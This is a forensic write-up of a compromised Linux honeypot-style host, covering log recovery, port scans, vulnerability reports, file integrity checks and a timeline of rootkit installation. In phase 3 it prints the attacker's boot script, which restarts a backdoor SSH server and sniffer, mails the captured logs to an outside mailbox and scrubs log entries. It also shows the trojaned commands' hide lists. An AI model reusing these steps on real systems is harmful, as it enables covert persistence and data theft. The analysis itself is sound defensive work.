syslogd 3247 root  cwd    DIR        8,1    4096     2 /
syslogd 3247 root  rtd    DIR        8,1    4096     2 /
syslogd 3247 root  txt    REG        8,1   26972 45303 /sbin/syslogd
syslogd 3247 root  mem    REG        8,1  485171 44656 /lib/ld-2.2.4.so
syslogd 3247 root  mem    REG        8,1 5772268 44650 /lib/i686/libc-2.2.4.so
syslogd 3247 root  mem    REG        8,1  261460 44690 /lib/libnss_files-2.2.4.so
syslogd 3247 root    0u  unix 0xc008e5a0          7984 /dev/log
syslogd 3247 root    1w   REG        8,1    6888 45307 /var/log/messages (deleted)
syslogd 3247 root    2w   REG        8,1     179 46634 /var/log/secure
syslogd 3247 root    3w   REG        8,1   17030 46901 /var/log/maillog
syslogd 3247 root    4w   REG        8,1    3739 46902 /var/log/cron
syslogd 3247 root    5w   REG        8,1       0 46903 /var/log/spooler
syslogd 3247 root    6w   REG        8,1     676 46904 /var/log/boot.log
Here we can see that /var/log/messages was deleted, but we can still access it through /proc. Let's see if there is anything interesting there :
[[email protected] root]# cat /proc/3247/fd/1
Aug 10 13:33:57 localhost syslogd 1.4.1: restart.
Aug 10 13:33:57 localhost syslog: syslogd startup succeeded
Aug 10 13:33:57 localhost kernel: klogd 1.4.1, log source = /proc/kmsg started.
Aug 10 13:33:57 localhost kernel: Inspecting /boot/System.map-2.4.7-10
Aug 10 13:33:57 localhost syslog: klogd startup succeeded
Aug 10 13:33:57 localhost kernel: Loaded 15046 symbols from /boot/System.map-2.4.7-10.
Aug 10 13:33:57 localhost kernel: Symbols match kernel version 2.4.7.
Aug 10 13:33:57 localhost kernel: Loaded 371 symbols from 10 modules.
Aug 10 13:33:57 localhost kernel: (swapd) uses obsolete (PF_INET,SOCK_PACKET)
Aug 10 13:33:57 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 13:33:57 localhost kernel: device eth0 entered promiscuous mode
Aug 10 13:33:57 localhost kernel: NET4: Linux IPX 0.47 for NET4.0
Aug 10 13:33:57 localhost kernel: IPX Portions Copyright (c) 1995 Caldera, Inc.
Aug 10 13:33:57 localhost kernel: IPX Portions Copyright (c) 2000, 2001 Conectiva, Inc.
Aug 10 13:33:57 localhost kernel: NET4: AppleTalk 0.18a for Linux NET4.0
Aug 10 13:33:32 localhost syslog: syslogd shutdown succeeded
Aug 10 13:33:33 localhost smbd -D[3137]: log: Server listening on port 2003.
Aug 10 13:33:33 localhost smbd -D[3137]: log: Generating 768 bit RSA key.
Aug 10 13:33:34 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 13:33:35 localhost smbd -D[3150]: error: bind: Address already in use
Aug 10 13:33:35 localhost smbd -D[3150]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost smbd -D[3225]: error: bind: Address already in use
Aug 10 13:33:56 localhost smbd -D[3225]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost syslog: klogd shutdown failed
Aug 10 13:33:57 localhost syslog: syslogd shutdown failed
Aug 10 14:13:47 localhost sshd: sshd -TERM failed
Aug 10 14:14:41 localhost smbd -D[5505]: log: Connection from 213.154.118.218 port 2020
Aug 10 14:14:42 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:14:44 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:14:52 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:14:58 localhost smbd -D[5505]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:14:58 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:15:14 localhost smbd -D[5505]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:15:14 localhost smbd -D[5505]: log: Password authentication for root failed.
Aug 10 14:15:17 localhost smbd -D[5505]: fatal: Connection closed by remote host.
Aug 10 14:17:08 localhost smbd -D[8170]: log: Connection from 213.154.118.218 port 2021
Aug 10 14:17:09 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:10 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:17:17 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:47 localhost smbd -D[8170]: fatal: Local: Too many password authentication attempts from extreme-service-10.is.pcnet.ro for user root.
Aug 10 14:17:51 localhost smbd -D[8935]: log: Connection from 213.154.118.218 port 2022
Aug 10 14:17:52 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:53 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:18:00 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:18:04 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:18:04 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:18:09 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:18:09 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:24 localhost smbd -D[8935]: fatal: Connection closed by remote host.
Aug 10 15:30:30 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:30:30 localhost modprobe: modprobe: Can't locate module ppp0
Aug 10 15:32:16 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:52:09 localhost smbd -D[14568]: error: bind: Address already in use
Aug 10 15:52:09 localhost smbd -D[14568]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:10 localhost httpd: httpd shutdown succeeded
Aug 10 15:52:11 localhost smbd -D[14629]: error: bind: Address already in use
Aug 10 15:52:11 localhost smbd -D[14629]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:12 localhost httpd: fopen: No such file or directory
Aug 10 15:52:12 localhost httpd: httpd: could not open error log file /etc/httpd/logs/error_log.
Aug 10 15:52:12 localhost httpd: httpd startup failed
Aug 10 15:54:18 localhost smbd -D[14663]: error: bind: Address already in use
Aug 10 15:54:18 localhost smbd -D[14663]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:54:18 localhost httpd: httpd shutdown failed
Aug 10 15:56:11 localhost su(pam_unix)[14689]: session opened for user root by (uid=0)
Aug 10 16:03:01 localhost su(pam_unix)[14689]: session closed for user root
Aug 10 16:04:38 localhost telnetd[15169]: ttloop: peer died: EOF
Looks like the attacker didn't start by redirecting /var/log/messages to /dev/null, and that has been done much later. A lot of interesting information here : IP addresses, promiscuous mode (set at 13:33:57, 15:30:30 and 15:32:16) and "smbd -D" process behaving much like an SSH server (note that the attacker seems to have problems logging in).

Now it's time to crosscheck all this information (coming from a compromised host, with compromised system commands and probably modified logs) with more trusted sources.

2. Perimeter analysis

Perimeter analysis will allow us to check that the information we gathered about open ports on the compromised host is correct, by scanning the compromised host from another host.

2.1 Setup

For this analysis, we run two concurrent VMWare virtual machines : one is our compromised host (reverted back to "original state" snapshot), and the other is a Knoppix-STD (a security-tools-oriented ready-to-run Linux CD distribution), all linked to the same closed VMWare virtual network (/dev/vmnet2). So we create a new VMWare virtual machine, boot it on the Knoppix-STD CD-ROM and open a root shell.

2.2 Nmap

We use nmap to scan for open TCP ports on our compromised host :
[knoppix]# nmap -p 1-65535 192.168.1.179

Starting nmap V. 3.10ALPHA4 ( www.insecure.org/nmap/ )
Interesting ports on 192.168.1.79:
(The 65523 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
22/tcp     open        ssh
23/tcp     open        telnet
79/tcp     open        finger
80/tcp     open        http
113/tcp    open        auth
139/tcp    open        netbios-ssn
443/tcp    open        https
2003/tcp   open        cfingerd
3128/tcp   open        squid-http
65336/tcp  open        unknown
65436/tcp  open        unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 37.547 seconds
This confirms what lsof reported on the compromised host, which means lsof-obtained information might be trusted.

2.3 Nessus

Now we run Nessus and see what servers it finds on the open TCP ports, and their known vulnerabilities. Here are the interesting parts of the report :
. Vulnerability found on port ssh (22/tcp) : 
    You are running a version of OpenSSH which is older than 3.4
    There is a flaw in this version that can be exploited remotely to give an attacker a shell on
    this host. Note that several distribution patched this hole without changing the version number
    of OpenSSH. Since Nessus solely relied on the banner of the remote SSH server to perform this
    check, this might be a false positive.
    If you are running a RedHat host, make sure that the command : rpm -q openssh-server
    Returns : openssh-server-3.1p1-6
    Solution : Upgrade to OpenSSH 3.4 or contact your vendor for a patch
    Risk factor : High
    CVE : CAN-2002-0639, CAN-2002-0640
    BID : 5093

. Vulnerability found on port ssh (22/tcp) : 
    You are running a version of OpenSSH which is older than 3.1.
    Versions prior than 3.1 are vulnerable to an off by one error that allows local users to gain
    root access, and it may be possible for remote users to similarly compromise the daemon
    for remote access. In addition, a vulnerable SSH client may be compromised by connecting to a
    malicious SSH daemon that exploits this vulnerability in the client code, thus compromising the
    client system.
    Solution : Upgrade to OpenSSH 3.1 or apply the patch for
    prior versions. (See: http://www.openssh.org)
    Risk factor : High
    CVE : CVE-2002-0083
    BID : 4241

. Information found on port ssh (22/tcp)
    Remote SSH version : SSH-1.99-OpenSSH_2.9p2

. Vulnerability found on port netbios-ssn (139/tcp) : 
  . It was possible to log into the remote host using a NULL session.
    The concept of a NULL session is to provide a null username and a null password, which grants
    the user the 'guest' access To prevent null sessions, see MS KB Article Q143474 (NT 4.0) and
    Q246261 (Windows 2000). Note that this won't completely disable null sessions, but will 
    prevent them from connecting to IPC$
    Please see http://msgs.securepoint.com/cgi-bin/get/nessus-0204/50/1.html
  . All the smb tests will be done as ''/'whatever' in domain MGOP
    CVE : CAN-1999-0504, CAN-1999-0506, CVE-2000-0222
    BID : 990

. Vulnerability found on port netbios-ssn (139/tcp) : 
    The remote Samba server, according to its version number, may be vulnerable to a remote buffer
    overflow when receiving specially crafted SMB fragment packets.
    An attacker needs to be able to access at least one share to exploit this flaw.
    Solution : upgrade to Samba 2.2.8
    Risk factor : High
    CVE : CAN-2003-0085, CAN-2003-0086
    BID : 7106, 7107

. Vulnerability found on port netbios-ssn (139/tcp) : 
    The remote Samba server is vulnerable to a buffer overflow when it processes the function
    trans2open(). An attacker may exploit this flaw to gain a root shell on this host.
    Solution : upgrade to Samba 2.2.9
    Risk factor : High
    CVE : CAN-2003-0201
    BID : 7294

. Information found on port cfingerd (2003/tcp)
    A SSH server seems to be running on this port

. Information found on port squid-http (3128/tcp)
    A SSH server seems to be running on this port
A few interesting things here : the servers listening on the TCP 2003 and 3128 ports are SSH servers, and the OpenSSH/OpenSSL and Samba versions installed are full of various local and remote exploits, making them easy targets. Now it's time to take down our compromised host and see what we can find inside.

3. Filesystem analysis

Filesystem analysis on the dead host will tell us what the filesystem really contains. Given the really useful MD5sum list information, we will be able to check for changed files, missing files and added files. Finally, we will search the entire disk for interesting patterns in unallocated space.

3.1 Setup

For this analysis, we revert back our compromised host to the "original state" VMWare snapshot, and we power down the virtual machine (by clicking the virtual poweroff button). Then we run a Knoppix-STD CD-ROM directly on the compromised host VM (by telling VMWare BIOS to boot on CD). This will allow us to mount the disk read-only to perform our analysis.

3.2 Reading interesting files

First, let's look at the files our live analysis pointed out.
[knoppix]# mount -o ro /dev/sda1 /mnt/sda1
[knoppix]# cat /etc/opt/psybnc/log/psybnc.log

Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100
Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind)
Sun Aug 10 16:02:46 :Loading all Users..
Sun Aug 10 16:02:46 :No Users found.
Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)
Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic
Sun Aug 10 16:03:36 :User sic () has no server added
Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:04:47 :Hop requested by sic. Quitting.
Sun Aug 10 16:04:47 :User sic got disconnected from server.
Sun Aug 10 16:04:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:06:08 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:24 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:25 :User sic logged in.
Sun Aug 10 16:06:57 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:59 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:59 :User sic logged in.
Sun Aug 10 16:07:26 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:07:34 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:07:47 :User sic logged in.
Sun Aug 10 16:08:00 :User sic: cant connect to fairfax.va.us.undernet.org port 6667.
Sun Aug 10 16:08:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:08:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:11:30 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 17:49:41 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:49:47 :User sic logged in.
Sun Aug 10 17:50:39 :New User:redcode (4,1redCode8Chicken) added by sic
Sun Aug 10 17:50:51 :User redcode () has no server added
Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:51:22 :User redcode logged in.
Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) [..snipped..] (Sorry, your connection class is full)
Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 18:00:49 :User redcode quitted (from sanido-08.is.pcnet.ro)
This is the psyBNC IRC bouncer log file. We can see that two users were created, sic and redcode, and that they used the bouncer to connect to undernet.org IRC servers. We also learn the Internet addresses of these users.
[knoppix]# cat /mnt/sda1/usr/lib/libice.log

proxyscan.undernet.org => 192.168.1.79 [23]
?k

[knoppix]# cat /mnt/sda1/lib/.x/s/mfs

============================================================
Time: Sun Aug 10 15:40:47     Size: 100
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:40:50     Size: 80
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:40:56     Size: 60
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:41:08     Size: 40
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:41:32     Size: 20
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 16:04:13     Size: 44
Path: proxyscan.undernet.org => 192.168.1.79 [23]
------------------------------------------------------------
k

These files are written by the "/usr/bin/(swapd)" and "/lib/.x/s/lfs" processes. They both seem to log information about connections made on clear-text servers : on one log we see the trace of FTP (21) connections from the compromised host to 63.99.224.38 and (in both logs) the trace of a connection from proxyscan.undernet.org to port 23 (Telnet).

Looking at the dates, the FTP connection(s) were probably used to download the psyBNC package. The port 23 connection is a little stranger : some research on www.undernet.org shows that Undernet has the policy to scan for open proxies on the clients connecting to it. The connection observed is a scan for a Wingate proxy, due to the client connection from our compromised host to an Undernet IRC server we've already observed in the psybnc.log at 16:04:06. The 'k' logged is probably a username and/or password used in the scan.

[knoppix]# cat /mnt/sda1/lib/.x/install.log

#####################################################
# SucKIT version 1.3b by Unseen  #
#####################################################

RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
[..snipped message repeated 11 times..]
This file was opened by one of the xopen instances. Some research reports that SucKIT is a widely-known (published in Phrack) kernel-level-rootkit. Kernel rootkits are much more effective that system-command-level rootkits and much more difficult to detect. The log file seems to prove that installation was unsuccessful, which is confirmed by our experience : we were easily able to circumvent the trojaned commands (by installing a trusted lsof and looking at /proc) to get more information from the live system. If a kernel-rootkit was fully in place, that would probably not have been possible.

3.3 Modified or missing files

Now we will use the md5sum list to check for modified and/or missing files. We'll use md5sum '-c' option to check the filesystem against the list, but we must first change the location of the files (now under /mnt/sda1). A simple Perl script will help :
[knoppix]# mount -t minix /dev/fd0 /mnt/floppy
[knoppix]# cp linux-suspended-md5s.gz .
[knoppix]# gunzip linux-suspended-md5s.gz
[knoppix]# perl -ne '$_ =~ s:  /:  /mnt/sda1/:g; print "$_";' < linux-suspended-md5s > ready_to_check
[knoppix]# md5sum -c ready_to_check 
We get different errors for modified files and missing files. Missing files are mostly log files, probably deleted at some point by the attacker(s). As far as modified files are concerned, some of them are due to normal behaviour : slocate database, log files, PIDs, random-seed. The others are more suspect :
 /var/spool/anacron/cron.daily
 /var/spool/anacron/cron.weekly
 /etc/rc.d/init.d/functions
 /etc/rc.d/rc.sysinit
 /etc/mail/statistics
 /etc/aliases.db
 /etc/samba/secrets.tdb
 /etc/httpd/conf/httpd.conf
 /usr/bin/top
 /bin/netstat
 /bin/ls
 /bin/ps
 /sbin/ifconfig
Looking at the files, some of them (like aliases.db) appear to have been normally modified after the MD5sums were recorded, but others were clearly modified by the attacker(s) : /etc/rc.d/init.d/functions has been modified to reload (swapd) at boot, and top, netstat, ls , ps and ifconfig appear to have been trojaned. 'ls' has probably been trojaned to hide some added files. Let's try to look for them now.

3.4 Recovering added files

We will use the md5sums file to generate an ordered list of what files were present on the disk at that time. Then we build an ordered list of files currently on /mnt/sda1, and look at what was added between the two using 'diff' and only keeping lines beginning with '>'.
[knoppix]# perl -ne '/[^\/]*(\/.*)$/; print "/mnt/sda1$1\n";' < linux-suspended-md5s | sort > old_contents
[knoppix]# find /mnt/sda1 -type f -print | sort > new_contents
[knoppix]# diff old_contents new_contents | egrep '^>' > added_files
Finally, we determine for each file the date of last modification and owner ID, then sort the results.
[knoppix]# perl -ne '/^> (.*)$/; print `stat -c "%z %n (%u)" "$1"`;' < added_files | sort > sorted_added_files
Now we will look at the contents of the sorted_added_files resulting file. We cut the output in several parts to comment each one separately.
[knoppix]# cat sorted_added_files
2003-08-09 14:34:43.000000000 -0700 /mnt/sda1/var/lock/subsys/netfs (0)
2003-08-09 14:34:44.000000000 -0700 /mnt/sda1/var/lock/subsys/identd (0)
2003-08-09 14:34:44.000000000 -0700 /mnt/sda1/var/run/identd.pid (0)
2003-08-09 14:34:46.000000000 -0700 /mnt/sda1/var/run/xinetd.pid (0)
2003-08-09 14:34:49.000000000 -0700 /mnt/sda1/var/lock/subsys/xinetd (0)
2003-08-09 14:34:54.000000000 -0700 /mnt/sda1/var/lock/subsys/smb (0)
2003-08-09 14:34:55.000000000 -0700 /mnt/sda1/var/lock/subsys/atd (0)
2003-08-09 14:34:55.000000000 -0700 /mnt/sda1/var/run/atd.pid (0)
These are files normally created by the host before any attack : locks and PIDs.

The rest of the file allows us to establish a timeline of different phases of the attack (difficult to say for now if they are from the same attacker or from multiple attackers). Note that the files modification date (used for sorting) could have been altered by the attacker, but they don't appear to have been altered at all : all the dates are confirmed by all the other information sources (logs, PID numbers) we already recovered.

3.5 Analysis of added files : attack phase 1

2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/bin/crontabs (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/bin/logclear (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/bin/sl2 (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/bin/smbd -D (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/include/iceconf.h (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/include/icekey.h (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/include/icepid.h (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/ifconfig (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/ls (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/netstat (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/ps (0)
2003-08-10 13:33:33.000000000 -0700 /mnt/sda1/usr/lib/libshtift/top (0)
2003-08-10 13:33:35.000000000 -0700 /mnt/sda1/usr/bin/(swapd) (0)
2003-08-10 13:33:35.000000000 -0700 /mnt/sda1/usr/bin/x.pid (0)
2003-08-10 13:33:35.000000000 -0700 /mnt/sda1/usr/lib/libsss (0)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/bin/pico (506)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/dev/ttyoa (0)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/dev/ttyof (0)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/dev/ttyop (0)
2003-08-10 13:33:57.000000000 -0700 /mnt/sda1/usr/bin/sense (0)
2003-08-10 14:17:53.000000000 -0700 /mnt/sda1/usr/include/iceseed.h (0)
These are the files from the first phase : installation of the system-commands rootkit and of the "smbd -D"/(swapd) SSHd/sniffer at 13:33:35. Here are the contents of the /dev/ttyof and /dev/ttyop files :
[knoppix]# cat /mnt/sda1/dev/ttyof
psbnc
smbd
iceconf.h
icekey.h
icepid.h
uptime
startwu
r00t
[knoppix]# cat /mnt/sda1/dev/ttyop
3 swapd
3 psybnc
3 sl2
3 sl3
3 smbd
3 uptime
3 x2
3 startwu
3 scan
3 r00t
These are configuration files for the trojaned 'ps', 'top' and 'ls' commands : names of the processes and files to hide in the output. This confirms our hypothesis that the genuine smbd process (PID 845) was hidden because 'ps' was instructed to hide all smbd-named processes. Let's look now at /dev/ttyoa :
[knoppix]# cat /mnt/sda1/dev/ttyoa
1 213.233
1 24.104
1 217.10
1 216
1 193
1 209.118
3 10001
3 10002
3 13064 
3 19
3 69
3 6667
4 10001
4 6667 
4 10002
4 19
4 69
4 13064
This is the configuration file for the trojaned 'netstat' command : IP addresses and ports to hide in the output.

3.6 Analysis of added files : attack phase 2

2003-08-10 15:30:30.000000000 -0700 /mnt/sda1/dev/hdx1 (0)
2003-08-10 15:30:30.000000000 -0700 /mnt/sda1/dev/hdx2 (0)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/adore.o (0)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/cleaner.o (0)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/sp0 (48)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/sp0_cfg (48)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/sp0_key (48)
2003-08-10 15:30:54.000000000 -0700 /mnt/sda1/usr/lib/sp0_seed (48)
This is the second phase. It installs sp0, which appear to be another SSH server, and some .o files. Note that some files are still owned by UID 48, which is the Apache user on RedHat 7.2. sp0 doesn't seem to have been run (no trace of a PID file, and it doesn't show in our perimeter analysis). Some research on adore.o
shows it is a component of Adore, a kernel-level rootkit. We will try to determine later if it has been succesfully run.

3.7 Analysis of added files : attack phase 3

2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/cl (48)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/hide (48)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/inst (48)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/ip (0)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/log (48)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/s/lsn (0)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/s/s_h_k (0)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/s/s_h_k.pub (0)
2003-08-10 15:32:15.000000000 -0700 /mnt/sda1/lib/.x/s/sshd_config (0)
2003-08-10 15:32:16.000000000 -0700 /mnt/sda1/etc/psdevtab (0)
2003-08-10 15:32:16.000000000 -0700 /mnt/sda1/lib/.x/sk (0)
2003-08-10 15:32:16.000000000 -0700 /mnt/sda1/lib/.x/s/port (0)
2003-08-10 15:32:16.000000000 -0700 /mnt/sda1/lib/.x/s/xopen (0)
2003-08-10 15:32:17.000000000 -0700 /mnt/sda1/lib/.x/.boot (48)
2003-08-10 15:32:17.000000000 -0700 /mnt/sda1/lib/.x/hide.log (0)
2003-08-10 15:32:17.000000000 -0700 /mnt/sda1/lib/.x/install.log (0)
2003-08-10 15:32:17.000000000 -0700 /mnt/sda1/lib/.x/s/pid (0)
This is the third phase. The xopen/lsn SSHd/sniffer was installed and run at 15:32:17. There are a few Apache-owned files here too. We previously saw that xopen tried, apparently unsuccessfully, to install a sucKIT rootkit. We can learn something from the .boot file :
[knoppix]# cat /mnt/sda1/lib/.x/.boot
#!/bin/sh
SSHPORT=`cat /lib/.x/s/port`
IP=`cat /lib/.x/ip`
TIME=`date`
/lib/.x/s/xopen -q -p ${SSHPORT} >> /lib/.x/reboot.log
/lib/.x/s/lsn &
/lib/.x/sk p 1 >> /lib/.x/reboot.log
/lib/.x/sk f 1 >> /lib/.x/reboot.log
echo "###Host ${IP} went online on ${TIME}" >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###SSHD backdoor port: ${SSHPORT}" >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog 
echo "###Sniffer log:" >> /tmp/13996log
echo "      - TTY Sniffer:" >> /tmp/13996log
cat /lib/.x/.lurker >> /tmp/13996log
echo >> /tmp/13996maillog
echo "      - Network Sniffer:" >> /tmp/13996log
cat /lib/.x/s/mfs >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###Reboot log:" >> /tmp/13996log
cat /lib/.x/reboot.log >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
cat /tmp/13996log | mail -s "Host ${IP} is up!" [email protected]
/lib/.x/hide
/lib/.x/cl -f /var/log/maillog yahoo > /dev/null
/lib/.x/cl -s o.tgz > /dev/null
/lib/.x/cl -s suckit > /dev/null
/lib/.x/cl -s xopen > /dev/null
/lib/.x/cl -s promisc > /dev/null
/lib/.x/cl -f promisc /var/log/secure > /dev/null
rm -rf /tmp/13996*
rm -rf /lib/.x/reboot.log
This file is intended to be called when the machine is rebooted, to restart the SSHD/sniffer processes and send recovered information to a yahoo.com mailbox. It confirms that mfs is a network sniffer log file.

3.8 Analysis of added files : attack phase 4

2003-08-10 15:49:47.000000000 -0700 /mnt/sda1/root/sslstop.tar.gz (0)
2003-08-10 15:50:46.000000000 -0700 /mnt/sda1/root/sslstop/Makefile (500)
2003-08-10 15:50:46.000000000 -0700 /mnt/sda1/root/sslstop/sslstop.c (500)
2003-08-10 15:52:00.000000000 -0700 /mnt/sda1/root/sslstop/sslport (0)
2003-08-10 15:52:00.000000000 -0700 /mnt/sda1/root/sslstop/sslstop (0)
2003-08-10 15:52:12.000000000 -0700 /mnt/sda1/var/run/httpd.mm.14637.sem (48)
2003-08-10 15:54:04.000000000 -0700 /mnt/sda1/.bash_history (0)
2003-08-10 15:54:24.000000000 -0700 /mnt/sda1/var/run/httpd.mm.14671.sem (48)
2003-08-10 15:54:48.000000000 -0700 /mnt/sda1/root/sslstop/sslport.c (500)
2003-08-10 15:57:12.000000000 -0700 /mnt/sda1/etc/opt/psyBNC2.3.1.tar.gz (0)
2003-08-10 15:57:33.000000000 -0700 /mnt/sda1/etc/opt/psybnc/CHANGES (0)
[.. snipped other psyBNC package files ..]
2003-08-10 16:01:14.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/convconf (0)
2003-08-10 16:01:15.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/autoconf (0)
2003-08-10 16:01:15.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/sys (0)
2003-08-10 16:01:16.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/chkenv (0)
2003-08-10 16:01:16.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/chksock (0)
2003-08-10 16:01:17.000000000 -0700 /mnt/sda1/etc/opt/psybnc/makefile.out (0)
2003-08-10 16:01:17.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/.chk (0)
2003-08-10 16:01:17.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/chkipv6 (0)
2003-08-10 16:01:17.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/chkresolv (0)
